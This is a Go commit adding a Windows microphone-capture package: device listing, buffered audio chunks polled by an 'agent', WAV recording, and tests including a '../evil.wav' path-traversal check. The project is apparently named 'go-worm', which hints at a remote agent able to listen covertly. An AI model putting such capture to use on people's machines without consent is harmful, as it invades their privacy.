This commit is contained in:
2026-09-02 01:00:09 +03:00
parent 166744fe88
commit eaa46e7494
17 changed files with 1351 additions and 0 deletions
+15
View File
@@ -0,0 +1,15 @@
package mic
// ponytail: cap listen buffer at 5s; excess dropped from front (slow poll won't OOM agent).
const maxChunkPCM = SampleRate * BytesPerSample * 5
func appendChunkPCM(buf []byte, pcm []byte) []byte {
if len(pcm) == 0 {
return buf
}
buf = append(buf, pcm...)
if len(buf) <= maxChunkPCM {
return buf
}
return append([]byte(nil), buf[len(buf)-maxChunkPCM:]...)
}
+20
View File
@@ -0,0 +1,20 @@
package mic
import (
"bytes"
"testing"
)
func TestAppendChunkPCMCaps(t *testing.T) {
t.Parallel()
half := maxChunkPCM / 2
buf := appendChunkPCM(nil, bytes.Repeat([]byte{1}, half))
buf = appendChunkPCM(buf, bytes.Repeat([]byte{2}, half))
buf = appendChunkPCM(buf, bytes.Repeat([]byte{3}, half))
if len(buf) != maxChunkPCM {
t.Fatalf("len = %d, want %d", len(buf), maxChunkPCM)
}
if buf[0] != 2 {
t.Fatalf("first byte = %d, want 2 (oldest chunk dropped)", buf[0])
}
}
+76
View File
@@ -0,0 +1,76 @@
package mic
import (
"os"
"path/filepath"
"sort"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
type FileInfo struct {
Name string `json:"name"`
Size int64 `json:"size"`
ModifiedTime time.Time `json:"modified_time"`
}
func Dir() (string, error) {
return config.MicDir()
}
func ListRecordings() ([]FileInfo, error) {
dir, err := Dir()
if err != nil {
return nil, err
}
entries, err := os.ReadDir(dir)
if err != nil {
if os.IsNotExist(err) {
return nil, nil
}
return nil, err
}
var files []FileInfo
for _, entry := range entries {
if entry.IsDir() || !ValidRecordingFilename(entry.Name()) {
continue
}
info, err := entry.Info()
if err != nil {
continue
}
files = append(files, FileInfo{
Name: entry.Name(),
Size: info.Size(),
ModifiedTime: info.ModTime(),
})
}
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedTime.After(files[j].ModifiedTime)
})
return files, nil
}
func OpenRecording(name string) (*os.File, os.FileInfo, error) {
if !ValidRecordingFilename(name) {
return nil, nil, os.ErrInvalid
}
dir, err := Dir()
if err != nil {
return nil, nil, err
}
path := filepath.Join(dir, filepath.Base(name))
info, err := os.Stat(path)
if err != nil {
return nil, nil, err
}
if info.IsDir() {
return nil, nil, os.ErrInvalid
}
file, err := os.Open(path)
if err != nil {
return nil, nil, err
}
return file, info, nil
}
+17
View File
@@ -0,0 +1,17 @@
package mic
import (
"errors"
)
var (
ErrDeviceNotFound = errors.New("microphone not found")
ErrAlreadyRecording = errors.New("already recording")
ErrNotRecording = errors.New("not recording")
ErrNoAudio = errors.New("no audio available")
)
type Device struct {
Index int `json:"index"`
Name string `json:"name"`
}
+25
View File
@@ -0,0 +1,25 @@
//go:build !windows
package mic
import "errors"
func List() ([]Device, error) {
return nil, errors.New("microphone is only available on Windows")
}
func Chunk(int) ([]byte, error) {
return nil, errors.New("microphone is only available on Windows")
}
func StartRecord(int) (string, error) {
return "", errors.New("microphone is only available on Windows")
}
func StopRecord() (string, int64, error) {
return "", 0, errors.New("microphone is only available on Windows")
}
func Recording() bool { return false }
func Stop() {}
+443
View File
@@ -0,0 +1,443 @@
//go:build windows
package mic
import (
"errors"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
callbackEvent = 0x00050000
whdrDone = 0x00000001
numBuffers = 3
bufferMillis = 200
idleClose = 2 * time.Second
maxDeviceName = 32
)
var (
winmm = windows.NewLazySystemDLL("winmm.dll")
procWaveInGetNumDevs = winmm.NewProc("waveInGetNumDevs")
procWaveInGetDevCapsW = winmm.NewProc("waveInGetDevCapsW")
procWaveInOpen = winmm.NewProc("waveInOpen")
procWaveInClose = winmm.NewProc("waveInClose")
procWaveInPrepareHeader = winmm.NewProc("waveInPrepareHeader")
procWaveInUnprepareHeader = winmm.NewProc("waveInUnprepareHeader")
procWaveInAddBuffer = winmm.NewProc("waveInAddBuffer")
procWaveInStart = winmm.NewProc("waveInStart")
procWaveInReset = winmm.NewProc("waveInReset")
)
type waveFormatEx struct {
FormatTag uint16
Channels uint16
SamplesPerSec uint32
AvgBytesPerSec uint32
BlockAlign uint16
BitsPerSample uint16
Size uint16
}
type waveInCaps struct {
Mid uint16
Pid uint16
DriverVersion uint32
Name [maxDeviceName]uint16
Formats uint32
WChannels uint16
Reserved uint16
}
type waveHdr struct {
Data uintptr
BufferLength uint32
BytesRecorded uint32
User uintptr
Flags uint32
Loops uint32
Next uintptr
Reserved uintptr
}
type captureBuffer struct {
hdr waveHdr
data []byte
}
var (
mu sync.Mutex
sess *captureSession
)
type captureSession struct {
device int
hWave uintptr
event windows.Handle
stopCh chan struct{}
doneOnce sync.Once
doneCh chan struct{}
buffers []captureBuffer
chunkPCM []byte
rec *fileRecorder
recName string
lastPoll time.Time
}
func List() ([]Device, error) {
n, _, _ := procWaveInGetNumDevs.Call()
count := int(n)
var out []Device
for i := 0; i < count; i++ {
var caps waveInCaps
ok, _, _ := procWaveInGetDevCapsW.Call(
uintptr(i),
uintptr(unsafe.Pointer(&caps)),
unsafe.Sizeof(caps),
)
if ok != 0 {
continue
}
name := windows.UTF16ToString(caps.Name[:])
if name == "" {
name = fmt.Sprintf("Microphone %d", i)
}
out = append(out, Device{Index: i, Name: name})
}
return out, nil
}
func Chunk(device int) ([]byte, error) {
mu.Lock()
defer mu.Unlock()
if err := ensureSessionLocked(device); err != nil {
return nil, err
}
sess.lastPoll = time.Now()
pcm := append([]byte(nil), sess.chunkPCM...)
sess.chunkPCM = nil
if len(pcm) == 0 {
return nil, ErrNoAudio
}
return EncodeWAV(pcm), nil
}
func StartRecord(device int) (string, error) {
mu.Lock()
defer mu.Unlock()
if sess != nil && sess.rec != nil {
return "", ErrAlreadyRecording
}
if err := ensureSessionLocked(device); err != nil {
return "", err
}
name := RecordingFilename(time.Now())
rec, err := openRecorder(name)
if err != nil {
return "", err
}
sess.rec = rec
sess.recName = name
sess.lastPoll = time.Now()
return name, nil
}
func StopRecord() (string, int64, error) {
mu.Lock()
defer mu.Unlock()
if sess == nil || sess.rec == nil {
return "", 0, ErrNotRecording
}
name := sess.recName
size, err := sess.rec.Close()
sess.rec = nil
sess.recName = ""
return name, size, err
}
func Recording() bool {
mu.Lock()
defer mu.Unlock()
return sess != nil && sess.rec != nil
}
func Stop() {
mu.Lock()
stopSessionLocked()
mu.Unlock()
}
func ensureSessionLocked(device int) error {
if sess != nil && sess.device == device && sess.hWave != 0 {
return nil
}
stopSessionLocked()
return startSessionLocked(device)
}
func startSessionLocked(device int) error {
if err := deviceExists(device); err != nil {
return err
}
event, err := windows.CreateEvent(nil, 0, 0, nil)
if err != nil {
return err
}
format := waveFormatEx{
FormatTag: 1,
Channels: Channels,
SamplesPerSec: SampleRate,
AvgBytesPerSec: SampleRate * Channels * BytesPerSample,
BlockAlign: Channels * BytesPerSample,
BitsPerSample: BitsPerSample,
}
var hWave uintptr
bufBytes := SampleRate * BytesPerSample * bufferMillis / 1000
if bufBytes < 1024 {
bufBytes = 1024
}
ok, _, callErr := procWaveInOpen.Call(
uintptr(unsafe.Pointer(&hWave)),
uintptr(device),
uintptr(unsafe.Pointer(&format)),
uintptr(event),
0,
callbackEvent,
)
if ok != 0 {
windows.CloseHandle(event)
if callErr != nil && callErr != syscall.Errno(0) {
return callErr
}
return fmt.Errorf("waveInOpen failed")
}
s := &captureSession{
device: device,
hWave: hWave,
event: event,
stopCh: make(chan struct{}),
doneCh: make(chan struct{}),
lastPoll: time.Now(),
}
for i := 0; i < numBuffers; i++ {
cb := captureBuffer{data: make([]byte, bufBytes)}
if err := prepareBuffer(hWave, &cb); err != nil {
closeCapture(s)
return err
}
s.buffers = append(s.buffers, cb)
}
sess = s
go runCaptureLoop(s)
go runIdleWatcher(s)
ok, _, callErr = procWaveInStart.Call(hWave)
if ok != 0 {
stopSessionLocked()
if callErr != nil && callErr != syscall.Errno(0) {
return callErr
}
return fmt.Errorf("waveInStart failed")
}
return nil
}
func deviceExists(device int) error {
devices, err := List()
if err != nil {
return err
}
for _, d := range devices {
if d.Index == device {
return nil
}
}
return ErrDeviceNotFound
}
func prepareBuffer(hWave uintptr, cb *captureBuffer) error {
if len(cb.data) == 0 {
return errors.New("empty capture buffer")
}
cb.hdr = waveHdr{
Data: uintptr(unsafe.Pointer(&cb.data[0])),
BufferLength: uint32(len(cb.data)),
}
ok, _, err := procWaveInPrepareHeader.Call(
hWave,
uintptr(unsafe.Pointer(&cb.hdr)),
unsafe.Sizeof(cb.hdr),
)
if ok != 0 {
if err != nil && err != syscall.Errno(0) {
return err
}
return errors.New("waveInPrepareHeader failed")
}
ok, _, err = procWaveInAddBuffer.Call(
hWave,
uintptr(unsafe.Pointer(&cb.hdr)),
unsafe.Sizeof(cb.hdr),
)
if ok != 0 {
_, _, _ = procWaveInUnprepareHeader.Call(hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
if err != nil && err != syscall.Errno(0) {
return err
}
return errors.New("waveInAddBuffer failed")
}
return nil
}
func runIdleWatcher(s *captureSession) {
defer helpers.RecoverLog("mic-idle")
ticker := time.NewTicker(500 * time.Millisecond)
defer ticker.Stop()
for {
select {
case <-s.stopCh:
return
case <-ticker.C:
mu.Lock()
if sess == s && s.rec == nil && time.Since(s.lastPoll) > idleClose {
stopSessionLocked()
}
mu.Unlock()
}
}
}
func runCaptureLoop(s *captureSession) {
defer s.finish()
defer helpers.RecoverLog("mic-capture")
for {
select {
case <-s.stopCh:
return
default:
}
wait, err := windows.WaitForSingleObject(s.event, 500)
if err != nil {
continue
}
if wait == uint32(windows.WAIT_TIMEOUT) {
continue
}
if wait != windows.WAIT_OBJECT_0 {
continue
}
var broken bool
mu.Lock()
if sess != s {
mu.Unlock()
return
}
for i := range s.buffers {
cb := &s.buffers[i]
if cb.hdr.Flags&whdrDone == 0 {
continue
}
n := int(cb.hdr.BytesRecorded)
if n > len(cb.data) {
n = len(cb.data)
}
if n > 0 {
pcm := append([]byte(nil), cb.data[:n]...)
s.chunkPCM = appendChunkPCM(s.chunkPCM, pcm)
if s.rec != nil {
if err := s.rec.Write(pcm); err != nil {
helpers.Log.Printf("mic record: %v", err)
_, _ = s.rec.Close()
s.rec = nil
s.recName = ""
}
}
}
cb.hdr.Flags &^= whdrDone
cb.hdr.BytesRecorded = 0
_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
if err := prepareBuffer(s.hWave, cb); err != nil {
helpers.Log.Printf("mic buffer: %v", err)
broken = true
}
}
mu.Unlock()
if broken {
mu.Lock()
if sess == s {
sess = nil
}
mu.Unlock()
signalCaptureStop(s)
return
}
}
}
func (s *captureSession) finish() {
s.doneOnce.Do(func() { close(s.doneCh) })
}
// stopSessionLocked drops the session. Caller must hold mu.
// Never wait on capture shutdown while holding mu (deadlock with capture loop).
func stopSessionLocked() {
if sess == nil {
return
}
s := sess
sess = nil
mu.Unlock()
closeCapture(s)
mu.Lock()
}
func closeCapture(s *captureSession) {
signalCaptureStop(s)
<-s.doneCh
}
func signalCaptureStop(s *captureSession) {
if s == nil {
return
}
select {
case <-s.stopCh:
default:
close(s.stopCh)
}
if s.hWave != 0 {
_, _, _ = procWaveInReset.Call(s.hWave)
for i := range s.buffers {
cb := &s.buffers[i]
_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
}
_, _, _ = procWaveInClose.Call(s.hWave)
s.hWave = 0
}
if s.rec != nil {
if _, err := s.rec.Close(); err != nil {
helpers.Log.Printf("mic record close: %v", err)
}
s.rec = nil
s.recName = ""
}
if s.event != 0 {
windows.CloseHandle(s.event)
s.event = 0
}
}
+19
View File
@@ -0,0 +1,19 @@
package mic
import (
"path/filepath"
"regexp"
"time"
)
const recordingLayout = "2006-01-02-150405"
var recordingPattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{6}\.wav$`)
func RecordingFilename(t time.Time) string {
return t.Local().Format(recordingLayout) + ".wav"
}
func ValidRecordingFilename(name string) bool {
return recordingPattern.MatchString(filepath.Base(name))
}
+74
View File
@@ -0,0 +1,74 @@
package mic
import (
"fmt"
"os"
"path/filepath"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
type fileRecorder struct {
path string
f *os.File
written int64
}
func openRecorder(name string) (*fileRecorder, error) {
dir, err := Dir()
if err != nil {
return nil, err
}
if err := os.MkdirAll(dir, 0o700); err != nil {
return nil, err
}
path := filepath.Join(dir, filepath.Base(name))
f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
if err != nil {
return nil, err
}
hdr := make([]byte, wavHeaderSize)
writeWAVHeader(hdr, 0)
if _, err := f.Write(hdr); err != nil {
_ = f.Close()
return nil, err
}
return &fileRecorder{path: path, f: f}, nil
}
func (r *fileRecorder) Write(pcm []byte) error {
if len(pcm) == 0 {
return nil
}
if r.written+int64(len(pcm)) > config.MaxUploadSize {
return fmt.Errorf("recording exceeds %d bytes", config.MaxUploadSize)
}
n, err := r.f.Write(pcm)
r.written += int64(n)
return err
}
func (r *fileRecorder) Close() (int64, error) {
if r.f == nil {
return 0, nil
}
hdr := make([]byte, wavHeaderSize)
writeWAVHeader(hdr, int(r.written))
if _, err := r.f.Seek(0, 0); err != nil {
_ = r.f.Close()
r.f = nil
return r.written, err
}
if _, err := r.f.Write(hdr); err != nil {
_ = r.f.Close()
r.f = nil
return r.written, err
}
err := r.f.Close()
r.f = nil
return r.written, err
}
func (r *fileRecorder) basename() string {
return filepath.Base(r.path)
}
+61
View File
@@ -0,0 +1,61 @@
package mic
import (
"encoding/binary"
"errors"
)
const (
SampleRate = 16000
Channels = 1
BitsPerSample = 16
BytesPerSample = BitsPerSample / 8 * Channels
)
var wavHeaderSize = 44
// EncodeWAV wraps 16-bit mono PCM in a complete WAV file.
func EncodeWAV(pcm []byte) []byte {
if len(pcm) == 0 {
return nil
}
if len(pcm)%BytesPerSample != 0 {
pcm = pcm[:len(pcm)-len(pcm)%BytesPerSample]
}
out := make([]byte, wavHeaderSize+len(pcm))
writeWAVHeader(out, len(pcm))
copy(out[wavHeaderSize:], pcm)
return out
}
func writeWAVHeader(buf []byte, dataLen int) {
if len(buf) < wavHeaderSize {
return
}
copy(buf[0:4], "RIFF")
binary.LittleEndian.PutUint32(buf[4:8], uint32(36+dataLen))
copy(buf[8:12], "WAVE")
copy(buf[12:16], "fmt ")
binary.LittleEndian.PutUint32(buf[16:20], 16)
binary.LittleEndian.PutUint16(buf[20:22], 1) // PCM
binary.LittleEndian.PutUint16(buf[22:24], Channels)
binary.LittleEndian.PutUint32(buf[24:28], SampleRate)
byteRate := SampleRate * Channels * BytesPerSample
binary.LittleEndian.PutUint32(buf[28:32], uint32(byteRate))
binary.LittleEndian.PutUint16(buf[32:34], uint16(Channels*BytesPerSample))
binary.LittleEndian.PutUint16(buf[34:36], BitsPerSample)
copy(buf[36:40], "data")
binary.LittleEndian.PutUint32(buf[40:44], uint32(dataLen))
}
// PCMBytesFromWAV returns PCM payload length implied by a WAV header.
func PCMBytesFromWAV(hdr []byte) (int, error) {
if len(hdr) < wavHeaderSize {
return 0, errors.New("wav header too short")
}
if string(hdr[0:4]) != "RIFF" || string(hdr[8:12]) != "WAVE" {
return 0, errors.New("not a wav file")
}
dataLen := int(binary.LittleEndian.Uint32(hdr[40:44]))
return dataLen, nil
}
+44
View File
@@ -0,0 +1,44 @@
package mic
import (
"testing"
"time"
)
func TestEncodeWAVRoundTrip(t *testing.T) {
t.Parallel()
pcm := make([]byte, 3200)
for i := range pcm {
pcm[i] = byte(i % 256)
}
wav := EncodeWAV(pcm)
if len(wav) != wavHeaderSize+len(pcm) {
t.Fatalf("wav len = %d, want %d", len(wav), wavHeaderSize+len(pcm))
}
got, err := PCMBytesFromWAV(wav)
if err != nil {
t.Fatal(err)
}
if got != len(pcm) {
t.Fatalf("pcm bytes = %d, want %d", got, len(pcm))
}
}
func TestRecordingFilename(t *testing.T) {
t.Parallel()
name := RecordingFilename(mustTime("2006-01-02T15:04:05"))
if name != "2006-01-02-150405.wav" {
t.Fatalf("name = %q", name)
}
if !ValidRecordingFilename(name) {
t.Fatal("expected valid filename")
}
if ValidRecordingFilename("../evil.wav") {
t.Fatal("expected invalid filename")
}
}
func mustTime(s string) (t time.Time) {
t, _ = time.ParseInLocation("2006-01-02T15:04:05", s, time.Local)
return t
}